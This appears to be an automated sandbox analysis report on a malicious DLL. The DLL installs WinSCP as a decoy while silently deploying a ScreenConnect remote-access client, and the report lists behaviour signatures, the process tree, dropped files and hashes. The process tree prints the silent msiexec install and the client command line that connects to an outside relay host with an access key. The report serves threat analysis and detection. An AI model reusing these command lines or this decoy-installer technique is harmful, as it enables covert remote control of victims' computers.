Analysis

  • max time kernel
    300s
  • max time network
    291s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260513-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
  • submitted
    10/07/2026, 02:25

General

  • Target
    dsetup.dll
  • Size 80.0MB
  • Sample260710-cwgycsds8x
  • SHA256 53f0f718847c209a482f3fa3f52a5ce5245af57da1aa03ecb84d9c3133750955
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 7 IoCs
  • Loads dropped DLL 25 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Checks for any installed AV software in registry 1 TTPs 3 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 2 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 21 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Inno Setup is an open-source installation builder for Windows applications. 4 IoCs

    Inno Setup installer

  • Modifies data under HKEY_USERS 8 IoCs
  • Modifies registry class 64 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\dsetup.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4604
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\dsetup.dll,#1
      2⤵
      • Checks for any installed AV software in registry
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4608
      • C:\Users\Admin\AppData\Local\Temp\0ea5b313.exe
        "C:\Users\Admin\AppData\Local\Temp\0ea5b313.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5228
        • C:\Users\Admin\AppData\Local\Temp\is-L75TQ.tmp\0ea5b313.tmp
          "C:\Users\Admin\AppData\Local\Temp\is-L75TQ.tmp\0ea5b313.tmp" /SL5="$902A0,11030141,943104,C:\Users\Admin\AppData\Local\Temp\0ea5b313.exe"
          4⤵
          • Executes dropped EXE
          • Drops file in Program Files directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:4712
          • C:\Windows\SysWOW64\regsvr32.exe
            "C:\Windows\system32\regsvr32.exe" /s "C:\Program Files (x86)\WinSCP\DragExt64.dll"
            5⤵
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4968
            • C:\Windows\system32\regsvr32.exe
              /s "C:\Program Files (x86)\WinSCP\DragExt64.dll"
              6⤵
              • Loads dropped DLL
              • Modifies registry class
              PID:1516
          • C:\Program Files (x86)\WinSCP\WinSCP.exe
            "C:\Program Files (x86)\WinSCP\WinSCP.exe" /RegisterForDefaultProtocols
            5⤵
            • Checks computer location settings
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            PID:5480
          • C:\Program Files (x86)\WinSCP\WinSCP.exe
            "C:\Program Files (x86)\WinSCP\WinSCP.exe" /ImportSitesIfAny
            5⤵
            • Checks computer location settings
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:2528
          • C:\Program Files (x86)\WinSCP\WinSCP.exe
            "C:\Program Files (x86)\WinSCP\WinSCP.exe" /Usage=TypicalInstallation:1,InstallationsUser+,InstallationParentProcess@,InstallationsFirstTypical+,LastInstallationAutomaticUpgrade:0,
            5⤵
            • Checks computer location settings
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:2444
      • C:\Windows\SysWOW64\msiexec.exe
        msiexec.exe /i C:\Users\Admin\AppData\Local\Temp\A91E3715.tmp /qn REBOOT=ReallySuppress
        3⤵
        • Enumerates connected drives
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:2476
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4644
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 25BC57350A74D401C29F6571DBE53314
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4784
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI559D.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240670218 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:5952
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 66127996D0CCB589FA7D54A6D8465E0C E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:1712
  • C:\Program Files (x86)\VCRedist_x64\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\VCRedist_x64\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=micro.vpn-expres.top&p=8041&s=bdd5ec2d-8b58-4e40-9ace-8d23402154cc&k=BgIAAACkAABSU0ExAAgAAAEAAQA16%2fTGkJuKzmPRwtRqFIPq13C%2fhtZf5v2d0VocPf2i%2b3Qx5O2NsVXQpvw%2bDd9crifO7s0xDarU2tV5Mfx%2fAFHd8Uk5q%2fFEcKbao%2fNyt1sCKoWPxRwGPNazIErFVLdUTQAwUAHFFsH%2fAI%2bRLJhl53QVgHaYcZAhLsW0gJdUEjQokrPA7dQtgjAToq%2bBOT0FoIQceYrnMpYerjcVsThac04E%2beYcPVy%2fX3y4P%2bFdCGFMSFmkoBtL9mQV1YSVfKuOD5dmo4kAFnoInvt2ZKpqL0zIbLs5ws5B56lGEuu17ZB9lCWs%2bcL2UUa4OP9AG%2bb%2bkZEMbgRLYySi4kViPUQndES6&c=winscp&c=&c=&c=&c=&c=&c=&c="
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4292
    • C:\Program Files (x86)\VCRedist_x64\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\VCRedist_x64\ScreenConnect.WindowsClient.exe" "RunRole" "f7da4350-8309-4279-ba8f-a1789f2226d2" "User"
      2⤵
      • Executes dropped EXE
      PID:3868

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        Client.Override.en-US.resources

        • Path C:\Program Files (x86)\VCRedist_x64\Client.Override.en-US.resources
        • Size 227B
        • SHA256 38bdcc2ec25e7464dde7293b5a6ec64eea4b9d9f6fb8c36fdcc5677a6f55b721
        • MD5 SHA1 SHA512 TLSH

        Client.Override.resources

        • Path C:\Program Files (x86)\VCRedist_x64\Client.Override.resources
        • Size 4KB
        • SHA256 4b1351ff1b4c54808ba17abb1ba810c55066657688099457ec7568d0ed091335
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\VCRedist_x64\Client.en-US.resources
        • Size 49KB
        • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\VCRedist_x64\Client.resources
        • Size 28KB
        • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\VCRedist_x64\ScreenConnect.Client.dll
        • Size 192KB
        • SHA256 33f8abd5722ab19aeacfe24319cda4433b0bf9b482dad4865685975c11c15534
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\VCRedist_x64\ScreenConnect.ClientService.dll
        • Size 67KB
        • SHA256 554ba93c3c34fc5cf6cb49ac7285069e853aa5543219e012bf0e9ca4400c3255
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\VCRedist_x64\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 4fe150116089d55c48748a97985f1d18054db5758020b193ad31d63e849b57f6
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsAuthenticationPackage.dll

        • Path C:\Program Files (x86)\VCRedist_x64\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\VCRedist_x64\ScreenConnect.WindowsClient.exe
        • Size 595KB
        • SHA256 465e9cee277db463677b2b593809e794279d64314b4fa736aa93780a0f7e3975
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\VCRedist_x64\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.WindowsCredentialProvider.dll

        • Path C:\Program Files (x86)\VCRedist_x64\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app.config

        • Path C:\Program Files (x86)\VCRedist_x64\app.config
        • Size 1KB
        • SHA256 a203fcde97bbea157f0620429cfc017aa501e86f8f5b7aa6080579fe313404d1
        • MD5 SHA1 SHA512 TLSH

        system.config

        • Path C:\Program Files (x86)\VCRedist_x64\system.config
        • Size 958B
        • SHA256 36d7af4a76f321642cfd01c00b51e454182e118c6ce17916e59c755e2d0e5e93
        • MD5 SHA1 SHA512 TLSH

        DragExt64.dll

        • Path C:\Program Files (x86)\WinSCP\DragExt64.dll
        • Size 474KB
        • SHA256 f8d4931a61bb5dd829b8d3e70ddf4fffa2b53eca3109e35883172c3c49b5bb47
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ArchiveDownload.WinSCPextension.ps1

        • Path C:\Program Files (x86)\WinSCP\Extensions\ArchiveDownload.WinSCPextension.ps1
        • Size 6KB
        • SHA256 beee09ea768f58f29f03025984e0ce8fe4f8fd8c9cc454d9fa3869ba679f5356
        • MD5 SHA1 SHA512 SSDEEP TLSH

        BatchRename.WinSCPextension.ps1

        • Path C:\Program Files (x86)\WinSCP\Extensions\BatchRename.WinSCPextension.ps1
        • Size 4KB
        • SHA256 7e605503bc77f9fec8f5b10ee6fd1e5da273ca8b8c213985e75069a66deee649
        • MD5 SHA1 SHA512 SSDEEP TLSH

        CompareFiles.WinSCPextension.ps1

        • Path C:\Program Files (x86)\WinSCP\Extensions\CompareFiles.WinSCPextension.ps1
        • Size 3KB
        • SHA256 8dd307c8e9052c25d4d1e168682668a68a4c173aa3f23daf782d7578af615726
        • MD5 SHA1 SHA512 TLSH

        GenerateHttpUrl.WinSCPextension.ps1

        • Path C:\Program Files (x86)\WinSCP\Extensions\GenerateHttpUrl.WinSCPextension.ps1
        • Size 3KB
        • SHA256 737c824e719e9e5cc43048383f8d7c7717bcb35ba37e07624c855e258d3753cf
        • MD5 SHA1 SHA512 TLSH

        KeepLocalUpToDate.WinSCPextension.ps1

        • Path C:\Program Files (x86)\WinSCP\Extensions\KeepLocalUpToDate.WinSCPextension.ps1
        • Size 6KB
        • SHA256 1753cf7c7f64b4eb2a81540a1081e306360ace5c43e5cf47c346b8568d86f1ce
        • MD5 SHA1 SHA512 SSDEEP TLSH

        SearchText.WinSCPextension.ps1

        • Path C:\Program Files (x86)\WinSCP\Extensions\SearchText.WinSCPextension.ps1
        • Size 3KB
        • SHA256 7d43ab4f352ea53905bee8387829be42bef633b397ad1f03db74b3b87983e091
        • MD5 SHA1 SHA512 TLSH

        SynchronizeAnotherServer.WinSCPextension.ps1

        • Path C:\Program Files (x86)\WinSCP\Extensions\SynchronizeAnotherServer.WinSCPextension.ps1
        • Size 10KB
        • SHA256 e73b3b68425691605d643e53ac729426b52168585d4b06234cfd8d592828b019
        • MD5 SHA1 SHA512 SSDEEP TLSH

        VerifyFileChecksum.WinSCPextension.ps1

        • Path C:\Program Files (x86)\WinSCP\Extensions\VerifyFileChecksum.WinSCPextension.ps1
        • Size 2KB
        • SHA256 dbdf82b86dd366dcc71edbae46f7008910e2be3f420b79e34159a81df1b39534
        • MD5 SHA1 SHA512 TLSH

        ZipUpload.WinSCPextension.ps1

        • Path C:\Program Files (x86)\WinSCP\Extensions\ZipUpload.WinSCPextension.ps1
        • Size 5KB
        • SHA256 561493f6262456b33cc46090080e26a8f6f9f1a0226649acba491ae6d2655ad6
        • MD5 SHA1 SHA512 SSDEEP TLSH

        WinSCP.exe

        • Path C:\Program Files (x86)\WinSCP\WinSCP.exe
        • Size 22.9MB
        • SHA256 cf948eaf8429c582636953e8b6b82097c8bb0a55111ec57e5f890e27dbab70d9
        • MD5 SHA1 SHA512 SSDEEP TLSH

        0ea5b313.exe

        • Path C:\Users\Admin\AppData\Local\Temp\0ea5b313.exe
        • Size 11.7MB
        • SHA256 4488c493bafca6af4e7ae54ed39cb71479e65dc192c4d1a471647bf9cb9d6db0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        A91E3715.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\A91E3715.tmp
        • Size 12.8MB
        • SHA256 95f1f380871e865288ddd53fc1f75b92690aca0c409dd387df4653fcea0e41f4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        0ea5b313.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\is-L75TQ.tmp\0ea5b313.tmp
        • Size 3.4MB
        • SHA256 446552438d91461df8540ab4c052f7bbac148cc6bd8035a63efdb9d7eec66b6e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        6bb54d82fa42128d.customDestinations-ms

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6bb54d82fa42128d.customDestinations-ms
        • Size 12B
        • SHA256 b76875c50ef704dbbf7f02c982445971d1bbd61aebe2e4b28ddc58a1d66317d5
        • MD5 SHA1 SHA512

        MSI559D.tmp

        • Path C:\Windows\Installer\MSI559D.tmp
        • Size 1.0MB
        • SHA256 64ddf83b4acb09b518518e07a8ffd0446d256ff842c113efa1cdb6378fdf1018
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSI559D.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSI559D.tmp-\ScreenConnect.Core.dll
        • Size 539KB
        • SHA256 51d9dcd755a424b8b3122350bbcc02d453880c39636fb1e0265084161afca983
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSI559D.tmp-\ScreenConnect.InstallerActions.dll
        • Size 11KB
        • SHA256 8f4a00b34720f19b0e67dc957085ad1986e58bb16a1abcc580dab21bcd61382d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Windows\Installer\MSI559D.tmp-\ScreenConnect.Windows.dll
        • Size 1.6MB
        • SHA256 602a640e2d9f94acfe47d3946f7dd088992431e24b670d40233e1ae6e9e270ad
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI5EB7.tmp

        • Path C:\Windows\Installer\MSI5EB7.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/2444-333-0x0000000000B40000-0x00000000022C8000-memory.dmp

        memory/2444-340-0x0000000000B40000-0x00000000022C8000-memory.dmp

        memory/2528-323-0x0000000000B40000-0x00000000022C8000-memory.dmp

        memory/2528-331-0x0000000000B40000-0x00000000022C8000-memory.dmp

        memory/3868-132-0x000000001B520000-0x000000001B6CC000-memory.dmp

        memory/3868-133-0x000000001B860000-0x000000001B9E8000-memory.dmp

        memory/3868-135-0x00000000023F0000-0x0000000002408000-memory.dmp

        memory/3868-136-0x0000000002540000-0x0000000002581000-memory.dmp

        memory/3868-134-0x0000000002360000-0x0000000002378000-memory.dmp

        memory/3868-130-0x0000000002380000-0x00000000023B6000-memory.dmp

        memory/3868-129-0x0000000000370000-0x0000000000408000-memory.dmp

        memory/3868-131-0x000000001B2E0000-0x000000001B36E000-memory.dmp

        memory/4292-112-0x0000000003C90000-0x0000000003CD1000-memory.dmp

        memory/4292-105-0x0000000003C00000-0x0000000003C50000-memory.dmp

        memory/4292-94-0x0000000003860000-0x0000000003878000-memory.dmp

        memory/4292-109-0x0000000003C50000-0x0000000003C86000-memory.dmp

        memory/4292-110-0x0000000003F20000-0x0000000003FB2000-memory.dmp

        memory/4292-118-0x0000000004100000-0x00000000041D5000-memory.dmp

        memory/4712-150-0x0000000000620000-0x000000000099C000-memory.dmp

        memory/4712-163-0x0000000000620000-0x000000000099C000-memory.dmp

        memory/4712-319-0x0000000000620000-0x000000000099C000-memory.dmp

        memory/4712-161-0x0000000000620000-0x000000000099C000-memory.dmp

        memory/4712-341-0x0000000000620000-0x000000000099C000-memory.dmp

        memory/5228-342-0x0000000000740000-0x0000000000835000-memory.dmp

        memory/5228-147-0x0000000000740000-0x0000000000835000-memory.dmp

        memory/5228-9-0x0000000000740000-0x0000000000835000-memory.dmp

        memory/5480-305-0x0000000000B40000-0x00000000022C8000-memory.dmp

        memory/5480-320-0x0000000000B40000-0x00000000022C8000-memory.dmp

        memory/5952-41-0x00000000051B0000-0x00000000051DE000-memory.dmp

        memory/5952-53-0x00000000054C0000-0x000000000566C000-memory.dmp

        memory/5952-49-0x0000000005280000-0x000000000530E000-memory.dmp

        memory/5952-54-0x0000000005C20000-0x00000000061C6000-memory.dmp

        memory/5952-45-0x00000000051E0000-0x00000000051EA000-memory.dmp